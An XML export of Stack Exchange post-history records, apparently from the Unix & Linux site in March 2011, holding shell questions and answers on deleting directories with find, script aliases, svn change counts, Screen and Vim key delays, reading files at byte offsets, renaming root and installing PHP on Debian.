  <row Id="19879" PostHistoryTypeId="6" PostId="8424" RevisionGUID="31cea047-8d47-4bb0-813d-ea317313a486" CreationDate="2011-03-01T22:05:16.123" UserId="885" Comment="edited tags" Text="éubuntuàéemacsàéfontsàégentooà" />
  <row Id="19880" PostHistoryTypeId="2" PostId="8432" RevisionGUID="7cf2c6a0-633d-4852-a904-b67663fa6d2b" CreationDate="2011-03-01T22:06:17.070" UserId="2511" Text="If you just tack a `-p` on your `rmdir`, that'll work in one pass. It won't be pretty or optimal, but it should get everything. That tells rmdir to remove any non-empty parent directories of the one you're removing.&#xD;&#xA;&#xD;&#xA;You can save a little bit by adding the `-empty` flag to find, so it doesn't bother with non-empty directories." />
  <row Id="19881" PostHistoryTypeId="2" PostId="8433" RevisionGUID="dc014aa6-f4a4-49df-96af-378513e676bc" CreationDate="2011-03-01T22:08:38.413" UserId="885" Text="List the directories deeply-nested-first.&#xD;&#xA;&#xD;&#xA;    find . -depth -type d -exec rmdir {} 2&gt;/dev/null \;&#xD;&#xA;&#xD;&#xA;This won't help with the speed. Try one of&#xD;&#xA;&#xD;&#xA;    find . -depth -type d -print0 | xargs -0 rmdir 2&gt;/dev/null&#xD;&#xA;    find . -depth -type d -exec rmdir {} +&#xD;&#xA;&#xD;&#xA;Both are likely to be noticeably faster than the original, especially under Cygwin. I don't expect much difference between these two.&#xD;&#xA;" />
  <row Id="19882" PostHistoryTypeId="6" PostId="8430" RevisionGUID="d9dafbc0-7220-4949-912a-b66d5c770d64" CreationDate="2011-03-01T22:08:52.253" UserId="885" Comment="edited tags" Text="édirectoryàéfindàérmà" />
  <row Id="19883" PostHistoryTypeId="5" PostId="8432" RevisionGUID="d17ac03a-81cf-4a67-b2f0-bd00c55ab252" CreationDate="2011-03-01T22:13:12.430" UserId="2511" Comment="edited body" Text="If you just tack a `-p` on your `rmdir`, that'll work in one pass. It won't be pretty or optimal, but it should get everything. That tells rmdir to remove any non-empty parent directories of the one you're removing.&#xD;&#xA;&#xD;&#xA;You can save a little bit by adding the `-empty` test to find, so it doesn't bother with non-empty directories." />
  <row Id="19884" PostHistoryTypeId="2" PostId="8434" RevisionGUID="8c331a14-81d4-4caf-b607-368ca524b46b" CreationDate="2011-03-01T22:50:16.253" UserId="1131" Text="It seems like your makefile (stdout/stderr) output triggers the default [quickfix mode][1] of your vim.&#xD;&#xA;&#xD;&#xA;Perhaps `/some/other/dir/source.h`is compiled by your recursive make call and a warning is produced and the quickfix mode jumps to its location. Or the filename is part of other makefile output and the quickfix mode mistakes it for a warning/error message of the compiler.&#xD;&#xA;&#xD;&#xA;You can try to disable the quickfix mode for your session (if you don't need it), change the error format or change your makefile to generate less output.&#xD;&#xA;&#xD;&#xA;  [1]: http://vimdoc.sourceforge.net/htmldoc/quickfix.html " />
  <row Id="19885" PostHistoryTypeId="2" PostId="8435" RevisionGUID="1535ff64-2b23-442d-8f54-eeb41a8db8cd" CreationDate="2011-03-01T23:21:43.080" UserId="885" Text="The following script should work, provided that no file name contains a newline and no directory matches `*.foo`. The principle is to traverse the directory from the leaves up (`-depth`), and as `*.foo` files are encountered, the containing directory and all parents are marked as `protected`. Any reached file that is not `*.foo` and not protected is a directory to be deleted. Because of the `-depth` traversal order, a directory is always reached after the `*.foo` files that might protect it. Warning: minimally tested, remove the `echo` at your own risk.&#xD;&#xA;&#xD;&#xA;    find . -depth -name '*.foo' -o -type d | awk '{&#xD;&#xA;        if ($0 ~ /\.foo$/) {&#xD;&#xA;            while (sub(&quot;/+[^/]+$&quot;, &quot;&quot;)) {protect[$0]=1;}&#xD;&#xA;        } else {&#xD;&#xA;            if (!protect[$0]) {&#xD;&#xA;                gsub(&quot;[\\\001-/]&quot;, &quot;\\\\&amp;&quot;); # protect file names for xargs&#xD;&#xA;                print;&#xD;&#xA;            }&#xD;&#xA;        }&#xD;&#xA;    }' | xargs echo rm -rf&#xD;&#xA;&#xD;&#xA;&lt;sub&gt;For once, I'm not proposing a zsh solution.&lt;/sub&gt;&#xD;&#xA;" />
  <row Id="19886" PostHistoryTypeId="25" PostId="8430" RevisionGUID="5059545f-f54b-4d4c-80b6-55c438d9184c" CreationDate="2011-03-01T23:23:33.357" Comment="http://twitter.com/#!/StackUnix/status/42726698092986369" />
  <row Id="19887" PostHistoryTypeId="5" PostId="8435" RevisionGUID="fc683e02-a152-460e-b816-7c3981966fd9" CreationDate="2011-03-01T23:26:51.407" UserId="885" Comment="added 167 characters in body" Text="*(Your question is not clear: if a directory contains `some.foo` and `some.bar`, should it be deleted? I interpreted it as requiring such a directory to be kept.)*&#xD;&#xA;&#xD;&#xA;The following script should work, provided that no file name contains a newline and no directory matches `*.foo`. The principle is to traverse the directory from the leaves up (`-depth`), and as `*.foo` files are encountered, the containing directory and all parents are marked as `protected`. Any reached file that is not `*.foo` and not protected is a directory to be deleted. Because of the `-depth` traversal order, a directory is always reached after the `*.foo` files that might protect it. Warning: minimally tested, remove the `echo` at your own risk.&#xD;&#xA;&#xD;&#xA;    find . -depth -name '*.foo' -o -type d | awk '{&#xD;&#xA;        if ($0 ~ /\.foo$/) {&#xD;&#xA;            while (sub(&quot;/+[^/]+$&quot;, &quot;&quot;)) {protect[$0]=1;}&#xD;&#xA;        } else {&#xD;&#xA;            if (!protect[$0]) {&#xD;&#xA;                gsub(&quot;[\\\001-/]&quot;, &quot;\\\\&amp;&quot;); # protect file names for xargs&#xD;&#xA;                print;&#xD;&#xA;            }&#xD;&#xA;        }&#xD;&#xA;    }' | xargs echo rm -rf&#xD;&#xA;&#xD;&#xA;&lt;sub&gt;For once, I'm not proposing a zsh solution.&lt;/sub&gt;&#xD;&#xA;" />
  <row Id="19888" PostHistoryTypeId="2" PostId="8436" RevisionGUID="2772aa6f-26ed-44f6-af68-b0750939423b" CreationDate="2011-03-01T23:28:59.977" UserId="2421" Text="As Gilles said, to use a TrueType font like Consolas in Emacs 23 you must link it with the Freetype and Fontconfig libraries. In Gentoo, you do that by turning on the `xft` [use flag][1] when building Emacs.  You'll need to turn that flag on (either globally or just for app-editors/emacs) and reinstall Emacs.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.gentoo.org/doc/en/handbook/handbook-x86.xml?part=2&amp;chap=2" />
  <row Id="19890" PostHistoryTypeId="2" PostId="8437" RevisionGUID="3e1d8618-9ab1-4bc2-8b24-30d2f8e3b7c6" CreationDate="2011-03-01T23:57:35.273" UserId="5228" Text="I have not been able to set a prefix to a custom modifier key, but I did manage to define tmux bindings in combination with a custom modifier key under Gnome in combination with Metacity. For example, to map `Mod4`+&lt;kbd&gt;k&lt;/kbd&gt; and `Mod4`+&lt;kbd&gt;j&lt;/kbd&gt; to move to current panel up and down respectively:&#xD;&#xA;&#xD;&#xA;    gconftool-2 --set /apps/metacity/keybinding_commands/command_1 --type string &quot;tmux select-pane -D&quot;&#xD;&#xA;    gconftool-2 --set /apps/metacity/keybinding_commands/command_2 --type string &quot;tmux select-pane -U&quot;&#xD;&#xA;    gconftool-2 --set /apps/metacity/global_keybindings/run_command_1 --type string &quot;&lt;Mod4&gt;j&quot;&#xD;&#xA;    gconftool-2 --set /apps/metacity/global_keybindings/run_command_2 --type string &quot;&lt;Mod4&gt;k&quot;&#xD;&#xA;&#xD;&#xA;This allows for tmux bindings in combination with for example the Windows key. Something along those lines works for any window manager that allows to define global keyboard shortcuts (Compiz, KWin, etc.)." />
  <row Id="19891" PostHistoryTypeId="2" PostId="8438" RevisionGUID="d7b420e8-cbe8-4a2e-bd9a-57fe184f4239" CreationDate="2011-03-02T00:00:57.783" UserId="3115" Text="&#xD;&#xA;Is there an SVN command that I can run to see a tally of all of my contributions?  Something like:&#xD;&#xA;&#xD;&#xA;    added 1800&#xD;&#xA;    deleted 15&#xD;&#xA;    &#xD;&#xA;&#xD;&#xA;" />
  <row Id="19892" PostHistoryTypeId="1" PostId="8438" RevisionGUID="d7b420e8-cbe8-4a2e-bd9a-57fe184f4239" CreationDate="2011-03-02T00:00:57.783" UserId="3115" Text="svn command to see a tally of my changes" />
  <row Id="19893" PostHistoryTypeId="3" PostId="8438" RevisionGUID="d7b420e8-cbe8-4a2e-bd9a-57fe184f4239" CreationDate="2011-03-02T00:00:57.783" UserId="3115" Text="ésubversionàécommandà" />
  <row Id="19895" PostHistoryTypeId="2" PostId="8439" RevisionGUID="ebd5b88a-ad18-4737-aae0-1129793d9309" CreationDate="2011-03-02T01:09:46.963" UserId="5211" Text="Screen makes my &lt;kbd&gt;ESC&lt;/kbd&gt; key wait for more commands I beleive, and if it does not get those commands, it sends it to my terminal Session (which I am running VIM in).   &lt;kbd&gt;ESC&lt;/kbd&gt; is used alot in VIM and currently I do not make any use of the &lt;kbd&gt;ESC&lt;/kbd&gt; key in Screen.&#xD;&#xA;&#xD;&#xA;How would I go about changing the timeout?&#xD;&#xA;&#xD;&#xA;I have read that these commands below inside of .screenrc  should fix it, but it doesn't seem to be working for me:&#xD;&#xA;&#xD;&#xA;    maptimeout 0&#xD;&#xA;    defc1 off&#xD;&#xA;" />
  <row Id="19896" PostHistoryTypeId="1" PostId="8439" RevisionGUID="ebd5b88a-ad18-4737-aae0-1129793d9309" CreationDate="2011-03-02T01:09:46.963" UserId="5211" Text="GNU Screen makes Vim ESC key slow" />
  <row Id="19897" PostHistoryTypeId="3" PostId="8439" RevisionGUID="ebd5b88a-ad18-4737-aae0-1129793d9309" CreationDate="2011-03-02T01:09:46.963" UserId="5211" Text="évimàéscreenà" />
  <row Id="19898" PostHistoryTypeId="5" PostId="8372" RevisionGUID="4abf3bcd-1819-48c0-b65a-761e9c91c9fd" CreationDate="2011-03-02T01:20:05.137" UserId="3169" Comment="exit tree_contains_foo_files as soon as a *.foo file is found" Text="I'm not quite sure this can be done using only `find`, but I think we can do it using only `bash` and `find`.&#xD;&#xA;&#xD;&#xA;    tree_contains_foo_files()&#xD;&#xA;    {&#xD;&#xA;        # return true (0) as soon as we find a &quot;*.foo&quot; file&#xD;&#xA;        find &quot;$1&quot; -type f -name &quot;*.foo&quot; -print0 |&#xD;&#xA;            read -r -d $'\0' file &amp;&amp; return 0&#xD;&#xA;&#xD;&#xA;        return 1&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;    find . -depth -type d -print0 |&#xD;&#xA;    while read -r -d $'\0' dir; do&#xD;&#xA;        if ! tree_contains_foo_files &quot;$dir&quot;; then&#xD;&#xA;            rm -rf &quot;$dir&quot;&#xD;&#xA;        fi&#xD;&#xA;    done&#xD;&#xA;&#xD;&#xA;Given this test tree:&#xD;&#xA;&#xD;&#xA;    .&#xD;&#xA;    ./dir1&#xD;&#xA;    ./dir1/dir1.1&#xD;&#xA;    ./dir1/dir1.1/dir1.1.1&#xD;&#xA;    ./dir1/dir1.1/dir1.1.1/file.foo&#xD;&#xA;    ./dir1/dir1.1/file.bar&#xD;&#xA;    ./dir2&#xD;&#xA;    ./dir2/dir2.1&#xD;&#xA;    ./dir2/file.bar&#xD;&#xA;    ./dir3&#xD;&#xA;&#xD;&#xA;I get this result:&#xD;&#xA;&#xD;&#xA;    rm -rf ./dir2/dir2.1&#xD;&#xA;    rm -rf ./dir2&#xD;&#xA;    rm -rf ./dir3&#xD;&#xA;&#xD;&#xA;which I think is what you want, i.e. don't delete `dir1`, because `dir1/dir1.1/dir1.1.1` contains `file.foo`.&#xD;&#xA;&#xD;&#xA;But note that it does process directories multiple times, so it might be slow for large trees.  If efficiency is important, I'd use a more powerful programming language." />
  <row Id="19899" PostHistoryTypeId="2" PostId="8440" RevisionGUID="f4b97853-43d0-4843-95ee-4d5aee8924fc" CreationDate="2011-03-02T01:57:12.623" UserId="250" Text="I have an alias for a command (I'm setting up a Python development environment)&#xD;&#xA;&#xD;&#xA;    alias python=~/virtualenv/bin/python&#xD;&#xA;&#xD;&#xA;so that I can run `~/virtualenv/bin/python` by just typing `python`. Now in my project there is a shell script that goes, for example:&#xD;&#xA;&#xD;&#xA;    #!/bin/sh&#xD;&#xA;    python run-project.py&#xD;&#xA;&#xD;&#xA;Can I make the script use my aliased `python` instead of the `python` it finds in `$PATH`, without making changes to the script?" />
  <row Id="19900" PostHistoryTypeId="1" PostId="8440" RevisionGUID="f4b97853-43d0-4843-95ee-4d5aee8924fc" CreationDate="2011-03-02T01:57:12.623" UserId="250" Text="Can I make scripts use aliases instead of commands?" />
  <row Id="19901" PostHistoryTypeId="3" PostId="8440" RevisionGUID="f4b97853-43d0-4843-95ee-4d5aee8924fc" CreationDate="2011-03-02T01:57:12.623" UserId="250" Text="éshellöscriptàéaliasà" />
  <row Id="19902" PostHistoryTypeId="2" PostId="8441" RevisionGUID="5c7a253f-c511-4b7a-b86c-fde3e44c4fd9" CreationDate="2011-03-02T02:08:50.870" UserId="3169" Text="Yes.&#xD;&#xA;&#xD;&#xA;If you put your aliases in `~/.aliases`, then you can do&#xD;&#xA;&#xD;&#xA;    export BASH_ENV=&quot;~/.aliases&quot;&#xD;&#xA;    somescript&#xD;&#xA;&#xD;&#xA;Here's what I'd suggest:&#xD;&#xA;&#xD;&#xA;1. Create `~/.bashenv`&#xD;&#xA;2. Move all the settings that you want to work in scripts from `~/.bashrc` into `~/.bashenv`&#xD;&#xA;3. Add a line `source ~/.bashenv` at the top of your `~/.bashrc`&#xD;&#xA;4. Put `BASH_ENV=~/.env` in `/etc/environment`" />
  <row Id="19903" PostHistoryTypeId="5" PostId="8441" RevisionGUID="455d9b53-76ff-41db-aff3-3a74f0951253" CreationDate="2011-03-02T02:17:15.373" UserId="3169" Comment="added 122 characters in body; added 174 characters in body" Text="Yes.&#xD;&#xA;&#xD;&#xA;If you put your aliases in `~/.aliases`, then you can do&#xD;&#xA;&#xD;&#xA;    export BASH_ENV=&quot;~/.aliases&quot;&#xD;&#xA;    somescript&#xD;&#xA;&#xD;&#xA;This assumes your script starts with `#!/bin/bash`, because `#!/bin/sh` is a little less predictable.&#xD;&#xA;&#xD;&#xA;Here's what I'd suggest:&#xD;&#xA;&#xD;&#xA;1. Create ~/.bashenv&#xD;&#xA;2. Move all the settings that you want to work in scripts from ~/.bashrc into ~/.bashenv&#xD;&#xA;3. Add this at the top of your ~/.bashrc:  &#xD;&#xA;   `[ -f ~/.bashenv ] &amp;&amp; source ~/.bashenv`&#xD;&#xA;4. Put `BASH_ENV=~/.env` in /etc/environment&#xD;&#xA;5. Make your scripts start with `#!/bin/bash` if they don't already&#xD;&#xA;&#xD;&#xA;Or, if you're using zsh, just move your aliases into ~/.zshenv.  zsh looks in that file automatically." />
  <row Id="19904" PostHistoryTypeId="25" PostId="8413" RevisionGUID="f308984d-1015-4409-8701-9e03c0adbb3a" CreationDate="2011-03-02T02:23:33.670" Comment="http://twitter.com/#!/StackUnix/status/42771997914177537" />
  <row Id="19905" PostHistoryTypeId="2" PostId="8442" RevisionGUID="b5967f29-e9dc-44bb-8690-4aa592c5d5c0" CreationDate="2011-03-02T02:24:00.670" UserId="4194" Text="I don't know about a single SVN command, but this seems to work:&#xD;&#xA;&#xD;&#xA;    svn log ${SVNURL} | awk '$1~/^r/ &amp;&amp; $3==&quot;username&quot;{print $1}' | tr -d r |&#xD;&#xA;    while read rev; do svn diff -c $rev ${SVNURL}; done |&#xD;&#xA;    awk '/^\+\+\+/ || /^---/ {} /^\+/ {a++} /^-/ {d++} END {print a, &quot;additions&quot;; print d, &quot;deletions&quot;}'&#xD;&#xA;&#xD;&#xA;Use your username instead of &quot;username&quot;." />
  <row Id="19907" PostHistoryTypeId="5" PostId="8441" RevisionGUID="5db80c48-3173-4736-9206-90153396584a" CreationDate="2011-03-02T02:48:37.293" UserId="3169" Comment="added 4 characters in body" Text="Yes.&#xD;&#xA;&#xD;&#xA;If you put your aliases in `~/.aliases`, then you can do&#xD;&#xA;&#xD;&#xA;    export BASH_ENV=&quot;~/.aliases&quot;&#xD;&#xA;    somescript&#xD;&#xA;&#xD;&#xA;This assumes your script starts with `#!/bin/bash`, because `#!/bin/sh` is a little less predictable.&#xD;&#xA;&#xD;&#xA;Here's what I'd suggest:&#xD;&#xA;&#xD;&#xA;1. Create ~/.bashenv&#xD;&#xA;2. Move all the settings that you want to work in scripts from ~/.bashrc into ~/.bashenv&#xD;&#xA;3. Add this at the top of your ~/.bashrc:  &#xD;&#xA;   `[ -f ~/.bashenv ] &amp;&amp; source ~/.bashenv`&#xD;&#xA;4. Put `BASH_ENV=~/.bashenv` in /etc/environment&#xD;&#xA;5. Make your scripts start with `#!/bin/bash` if they don't already&#xD;&#xA;&#xD;&#xA;Or, if you're using zsh, just move your aliases into ~/.zshenv.  zsh looks in that file automatically." />
  <row Id="19908" PostHistoryTypeId="5" PostId="8441" RevisionGUID="703be430-f98e-4487-a1e0-03ff793f542b" CreationDate="2011-03-02T04:37:57.193" UserId="3169" Comment="added 177 characters in body" Text="Yes.&#xD;&#xA;&#xD;&#xA;If you put your aliases in `~/.aliases`, then you can do&#xD;&#xA;&#xD;&#xA;    export BASH_ENV=&quot;~/.aliases&quot;&#xD;&#xA;    somescript&#xD;&#xA;&#xD;&#xA;This assumes your script starts with `#!/bin/bash`, because `#!/bin/sh` is a little less predictable.&#xD;&#xA;&#xD;&#xA;Here's what I'd suggest:&#xD;&#xA;&#xD;&#xA;1. Create ~/.bashenv&#xD;&#xA;2. Move all the settings that you want to work in scripts from ~/.bashrc into ~/.bashenv&#xD;&#xA;3. Add this at the top of your ~/.bashrc:  &#xD;&#xA;   `[ -f ~/.bashenv ] &amp;&amp; source ~/.bashenv`&#xD;&#xA;4. Put `BASH_ENV=~/.bashenv` in /etc/environment&#xD;&#xA;5. Make your scripts start with `#!/bin/bash` if they don't already&#xD;&#xA;&#xD;&#xA;Or, if you're using zsh, just move your aliases into ~/.zshenv.  zsh looks in that file automatically.&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;But maybe it's easier to just put `~/virtualenv/bin` near the front of your `PATH`, then change your Python scripts to have `#!/usr/bin/env python` as the first line." />
  <row Id="19909" PostHistoryTypeId="2" PostId="8444" RevisionGUID="795b1376-3a8c-415f-ad8b-c1320f689807" CreationDate="2011-03-02T04:45:00.880" UserId="2343" Text="I want to locate a date which is somewhere in  an 8 GB log (text).  &#xD;&#xA; &#xD;&#xA;Can I somewhat bypass a full sequential read, and first do binary splits of the file (size), or somehow navigating the filesystem `inodes` (which I know *very* little about), to start reading from each split point, until I find a suitable offset from where to start my text search for a line cotaining the date?  &#xD;&#xA;&#xD;&#xA;`tail`'s read of the last line doesn't use a normal sequential read, so I wonder if this facility is somehow available in bash, or would I need to use Python or C/C++... but I am specifically interested in a `bash` option.. " />
  <row Id="19910" PostHistoryTypeId="1" PostId="8444" RevisionGUID="795b1376-3a8c-415f-ad8b-c1320f689807" CreationDate="2011-03-02T04:45:00.880" UserId="2343" Text="Is it possible in bash, to start reading a file from an arbitary byte count offset?" />
  <row Id="19911" PostHistoryTypeId="3" PostId="8444" RevisionGUID="795b1376-3a8c-415f-ad8b-c1320f689807" CreationDate="2011-03-02T04:45:00.880" UserId="2343" Text="ébashàéfilesystemsàétextöprocessingà" />
  <row Id="19912" PostHistoryTypeId="25" PostId="8440" RevisionGUID="83306610-97a2-4739-92c8-f2f10ecfdec8" CreationDate="2011-03-02T05:23:33.530" Comment="http://twitter.com/#!/StackUnix/status/42817296040869888" />
  <row Id="19913" PostHistoryTypeId="2" PostId="8445" RevisionGUID="93eb20e3-d86e-4257-a71c-ba033460c7f6" CreationDate="2011-03-02T05:23:40.693" UserId="5154" Text="Try a little piece of software called 'ccze'.&#xD;&#xA;&#xD;&#xA;tail -f somelogfile | ccze -A &#xD;&#xA;&#xD;&#xA;" />
  <row Id="19914" PostHistoryTypeId="2" PostId="8446" RevisionGUID="01cdb166-9d92-47c8-9cc8-d014adecfeb9" CreationDate="2011-03-02T05:45:23.573" UserId="5246" Text="&#xD;&#xA;I'd try something like this to split the log into 512MiB chunks for quicker parsing. &#xD;&#xA;&#xD;&#xA;    split &lt;filename&gt; -b 536870912&#xD;&#xA;&#xD;&#xA;If you are looking for the file the following would work:&#xD;&#xA;&#xD;&#xA;    for file in x* ; do&#xD;&#xA;      echo $file&#xD;&#xA;      head -n 1 $file&#xD;&#xA;    done&#xD;&#xA;&#xD;&#xA;Use that output to determine which file to grep for your date.&#xD;&#xA;" />
  <row Id="19915" PostHistoryTypeId="2" PostId="8447" RevisionGUID="eeea1663-6668-4e2f-9bbc-299614cb64a1" CreationDate="2011-03-02T05:58:38.117" UserId="4395" Text="Not that its a very good idea to change it, but for fun. According to [this][1] post, there are still some problems even after changing entries in etc/passwd and etc/shadow(and sudoers). Any suggestions?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://linuxers.org/article/fun-linux-changing-root-user-name-linux" />
  <row Id="19916" PostHistoryTypeId="1" PostId="8447" RevisionGUID="eeea1663-6668-4e2f-9bbc-299614cb64a1" CreationDate="2011-03-02T05:58:38.117" UserId="4395" Text="How do you rename root?" />
  <row Id="19917" PostHistoryTypeId="3" PostId="8447" RevisionGUID="eeea1663-6668-4e2f-9bbc-299614cb64a1" CreationDate="2011-03-02T05:58:38.117" UserId="4395" Text="érootàérenameà" />
  <row Id="19918" PostHistoryTypeId="2" PostId="8448" RevisionGUID="a935ed1c-fd91-4346-8517-0f86fd14daba" CreationDate="2011-03-02T06:10:48.500" UserId="838" Text="    for (( block = 0; block &lt; 16; block += 1 ))&#xD;&#xA;    do &#xD;&#xA;        echo $block; &#xD;&#xA;        dd if=INPUTFILE skip=$((block*512))MB bs=64 count=1 status=noxfer 2&gt; /dev/null | \&#xD;&#xA;            head -n 1&#xD;&#xA;    done&#xD;&#xA;&#xD;&#xA;which .. creates no temp-split files, skips blocks * 512MB  of data at each run, reads 64 bytes from that position and limits the output to the first line of that 64 bytes.&#xD;&#xA;&#xD;&#xA;you might want to adjust 64 to whatever you think you need." />
  <row Id="19919" PostHistoryTypeId="2" PostId="8449" RevisionGUID="4ffbf11c-e7d8-4ebc-935d-f656e80824d2" CreationDate="2011-03-02T07:07:21.450" UserId="688" Text="Supposing that your alias file is &quot;**~/.bash_aliases**&quot;, put this in your script:&#xD;&#xA;&#xD;&#xA;    #!/bin/bash&#xD;&#xA;    shopt -s expand_aliases&#xD;&#xA;    source ~/.bash_aliases&#xD;&#xA;    python run-project.py&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;([via][1])&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://unix.stackexchange.com/q/1496//1498#1498" />
  <row Id="19920" PostHistoryTypeId="2" PostId="8450" RevisionGUID="2d8a8a6c-de30-4c64-a810-5f908badca9b" CreationDate="2011-03-02T07:57:47.463" UserId="4814" Text="Hello,&#xD;&#xA;&#xD;&#xA;I would like to configure squid in such way, so that only specific (public) ip, could connect to the server, but I don't know how... can someone tell me how to do this?" />
  <row Id="19921" PostHistoryTypeId="1" PostId="8450" RevisionGUID="2d8a8a6c-de30-4c64-a810-5f908badca9b" CreationDate="2011-03-02T07:57:47.463" UserId="4814" Text="squid configuration" />
  <row Id="19922" PostHistoryTypeId="3" PostId="8450" RevisionGUID="2d8a8a6c-de30-4c64-a810-5f908badca9b" CreationDate="2011-03-02T07:57:47.463" UserId="4814" Text="éproxyà" />
  <row Id="19923" PostHistoryTypeId="6" PostId="8438" RevisionGUID="c7153b51-83f2-4025-90ec-f87a5988cd95" CreationDate="2011-03-02T08:09:57.903" UserId="885" Comment="edited tags" Text="étextöprocessingàésubversionà" />
  <row Id="19924" PostHistoryTypeId="2" PostId="8451" RevisionGUID="32c2b8da-d566-4136-b610-3fb9ecf3d5fe" CreationDate="2011-03-02T08:16:02.883" UserId="5248" Text="Hi, I'm trying to send mail from shell(GNU bash, version 3.2.25(1)-release (x86_64-redhat-linux-gnu)) using;&#xD;&#xA;&#xD;&#xA;    mail foo@bar.com&#xD;&#xA;&#xD;&#xA;After I complete the command, the mail won't show up in the mailbox. What could be wrong, how can I check is my configuration is correct. Thanks." />
  <row Id="19925" PostHistoryTypeId="1" PostId="8451" RevisionGUID="32c2b8da-d566-4136-b610-3fb9ecf3d5fe" CreationDate="2011-03-02T08:16:02.883" UserId="5248" Text="How to send mail ?" />
  <row Id="19926" PostHistoryTypeId="3" PostId="8451" RevisionGUID="32c2b8da-d566-4136-b610-3fb9ecf3d5fe" CreationDate="2011-03-02T08:16:02.883" UserId="5248" Text="éconfigurationàémailà" />
  <row Id="19930" PostHistoryTypeId="25" PostId="8447" RevisionGUID="c120f410-f322-4ffe-8c27-96bbbf50bdb0" CreationDate="2011-03-02T08:23:33.650" Comment="http://twitter.com/#!/StackUnix/status/42862594603761664" />
  <row Id="19931" PostHistoryTypeId="2" PostId="8453" RevisionGUID="a2d6b889-3cc5-4337-af5c-e8db829ce4bf" CreationDate="2011-03-02T08:30:15.703" UserId="4949" Text="Theoretically, changing it in  /etc/passwd and /etc/shadow would be all you need to 'rename' root. The problem occurs because pretty much every single piece of unix software in existence assumes that the username 'root' exists and that it is the superuser -- mail aliases, various daemons, cron... &#xD;&#xA;&#xD;&#xA;If you're really hell bent on trying it, find /etc -type f -exec grep -l root {} should be a good start at finding a list of every config file you'll probably need to change -  but like you already said, this is a really bad idea in almost every conceivable situation." />
  <row Id="19932" PostHistoryTypeId="5" PostId="8371" RevisionGUID="2d276c8d-405d-456d-9d68-ae8a9e7510dd" CreationDate="2011-03-02T08:35:00.503" UserId="2783" Comment="added 95 characters in body" Text="These are your directories:&#xD;&#xA;&#xD;&#xA;    find . -type d&#xD;&#xA;&#xD;&#xA;these are the directories that you want to **keep**:&#xD;&#xA;&#xD;&#xA;    find . -iname '*.foo' -print0  | xargs -0 dirname | sort | uniq&#xD;&#xA;&#xD;&#xA;or&#xD;&#xA;&#xD;&#xA;    find . -iname '*.foo' -execdir pwd \; | sort | uniq&#xD;&#xA;&#xD;&#xA;but, I suppose, that if&#xD;&#xA;&#xD;&#xA;* `/aaa/bbb` doesn't have a `.foo` *and*&#xD;&#xA;* `/aaa/bbb/ccc` *does* have a `.foo`&#xD;&#xA;&#xD;&#xA;you wouldn't delete `/aaa/bbb/` nor `/aaa/`, right? So what you really need is to **keep** these base directories:&#xD;&#xA;&#xD;&#xA;    find . -iname '*.foo' -print0 | xargs -0 dirname | awk -F/ '{print &quot;./&quot;$2}' | sort | uniq&#xD;&#xA;&#xD;&#xA;and delete all other bases:&#xD;&#xA;&#xD;&#xA;    find . -type d -maxdepth 1&#xD;&#xA;&#xD;&#xA;for example:&#xD;&#xA;&#xD;&#xA;(**warning**: the code below will not work for pathnames with spaces or special characters)&#xD;&#xA;&#xD;&#xA;    a=`find . -iname '*.foo' -print0 | xargs ...'`&#xD;&#xA;    find . -type d -maxdepth 1 |grep -v &quot;echo $a&quot; | xargs rm -rf&#xD;&#xA;&#xD;&#xA;and then you want to do this recursively:&#xD;&#xA;&#xD;&#xA;    for dir in $a; do&#xD;&#xA;      b=`find . -iname '*.foo' -print0 | ... `&#xD;&#xA;      find . -type d -maxdepth 1 | grep -v &quot;echo $b&quot; | xargs rm -rf&#xD;&#xA;    done" />
  <row Id="19933" PostHistoryTypeId="2" PostId="8454" RevisionGUID="e24a6a67-d615-4278-83b3-64e802d5f8dc" CreationDate="2011-03-02T08:36:55.807" UserId="5250" Text="How to read XLS File (Microsoft Excel) using unix Bash / Corn shell script?" />
  <row Id="19934" PostHistoryTypeId="1" PostId="8454" RevisionGUID="e24a6a67-d615-4278-83b3-64e802d5f8dc" CreationDate="2011-03-02T08:36:55.807" UserId="5250" Text="Read Microsoft Excel File" />
  <row Id="19935" PostHistoryTypeId="3" PostId="8454" RevisionGUID="e24a6a67-d615-4278-83b3-64e802d5f8dc" CreationDate="2011-03-02T08:36:55.807" UserId="5250" Text="éshellöscriptà" />
  <row Id="19936" PostHistoryTypeId="2" PostId="8455" RevisionGUID="e6d9703a-239c-467a-9764-5a3ae9a8c400" CreationDate="2011-03-02T09:22:52.857" UserId="5247" Text="I have a vps with Debian Linux on it.&#xD;&#xA;&#xD;&#xA;I'm trying to install a php file manager so that people could access it and download stuff into a directory.&#xD;&#xA;&#xD;&#xA;I don't have anything in my /bin about php so this is probably the issue&#xD;&#xA;&#xD;&#xA;I installed php with this command &#xD;&#xA;&#xD;&#xA;    apt-get install php5 php5-cgi php5-cli php5-gd php5-mysql libapache2-mod-php5&#xD;&#xA;and it says&#xD;&#xA;&#xD;&#xA;    Reading package lists... Done&#xD;&#xA;    Building dependency tree&#xD;&#xA;    Reading state information... Done&#xD;&#xA;    php5 is already the newest version.&#xD;&#xA;    Package php5-cgi is not available, but is referred to by another package.&#xD;&#xA;    This may mean that the package is missing, has been obsoleted, or&#xD;&#xA;    is only available from another source&#xD;&#xA;    E: Package php5-cgi has no installation candidate&#xD;&#xA;It's saying php is already installed? &#xD;&#xA;I try to confirm this by typing `php -v` and it says `Command php not found`&#xD;&#xA;&#xD;&#xA;Why is this and how can I get php running?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="19937" PostHistoryTypeId="1" PostId="8455" RevisionGUID="e6d9703a-239c-467a-9764-5a3ae9a8c400" CreationDate="2011-03-02T09:22:52.857" UserId="5247" Text="Installing php on Debian (newbie question)" />
  <row Id="19938" PostHistoryTypeId="3" PostId="8455" RevisionGUID="e6d9703a-239c-467a-9764-5a3ae9a8c400" CreationDate="2011-03-02T09:22:52.857" UserId="5247" Text="édebianàéinstallàéphpà" />
